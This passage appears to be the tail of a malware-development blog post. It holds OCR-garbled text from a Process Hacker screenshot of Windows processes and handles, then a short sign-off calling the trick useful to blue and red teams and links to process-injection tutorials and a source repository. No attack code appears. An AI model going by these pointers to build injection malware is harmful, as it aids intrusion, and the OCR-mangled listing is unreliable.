General Statistics  Performance  Threads Token Modules Memory Enwironment Handles P Comment

8 Hide unnamed handles

Name
[®] taskhostw.exe
& ctimon.exe
~ ‘m explorer.exe
& SecurityHealthSystr
¥ VBoxTray.exe
@ OneDrive.exe
~ X powershell.exe
B¥ conhost.exe
7% ProcessHacker.exe
[ svchost.exe
[ svchost.exe
[ svchost.exe

[ StartMenuExperiencek
[#] RuntimeBroker.exe
[ svchost.exe

[ RuntimeBroker.exe
[ dilhost.exe

Type Name

File
File
File
File
File

Event

\Pevice|CNG

\Device \KsecDD
\Device \KsecDD

Device \Nsi

\FileSystem\Filters\FltvMgrMsg
KernelObjects MaximumCommitCondition

Directory KnownDlls
Directory \KnownDlls32
Directory \KnownDlls32

ALPC Port
Directory
Mutant
Mutant
Mutant
Semaphore
Mutant
Semaphore
Section
Section
Section
Section
Section
Mutant

\RPC Contral\OLE7SCCID55F4DEA4CTI4CD 149A3E36
\Sessions\1\BaseNamedObjects
\Sessions\1\BaseNamedObjects\IBrowserEmulation!SharedMemory!M. .. Ox9a0
\Sessions\1\BaseNamedObjects\OneDrive_NetworkLock
\Sessions\1\BaseNamedObjects\SM0:6028: 168:Wilstaging_02
\Sessions\1\BaseNamedObjects\SM0:6028: 168:Wilstaging_02_p0 0x298
\Sessions\1\BaseNamedObjects\SMD:6028:64:WilError_03
\Sessions\1\BaseNamedObjects\SM0:6028:64:WilError_03_pl
essions\1\BaseNamedObjects\UriZonessM_testl
\Sessions\1'BaseNamedObjects'
\Sessions\1\BaseNamedObjects’
\Sessions\1\BaseNamedObjects\windows_shell_global_counters

0 0x278 lows Ser...
e - ]
windows_ie_global_counters 0xabo

windows_ie_global_counters

\Sessions\1\BaseNamedObjects\windows_webcache_counters_{9B6A... 0x644
\Sessions\1\BaseNamedObjects\ZonesCacheCounterMutex

Handle
0x1f0
0x290
Ox2cB
0x2d4
Oxdel
0x300
Ox3c
0x50 ification...
Ox84 tions Tra...
Ox374
Ox 180

Processes (Ctrl+K]) L

ows Tasks

Ox6ec

Ox2ac
ows Ser...

g lows Ser...

& Searchindexer.exe

il o

Ox9a4
0x268 lows Ser...
Ox6be
sarch In...
_—
3:33 AM
i 7] A tm T Q) Thursday [
5/2/2024
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As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe | didn’t
look well, it seems to me that this is a technique already known to attackers.

| hope this post spreads awareness to the blue teamers of this interesting process
investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
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https://cocomelonc.github.io/tutorial/2022/02/01/malware-injection-16.html
https://cocomelonc.github.io/malware/2023/05/26/malware-tricks-30.html
https://github.com/cocomelonc/meow/tree/master/2024-04-09-malware-cryptography-26

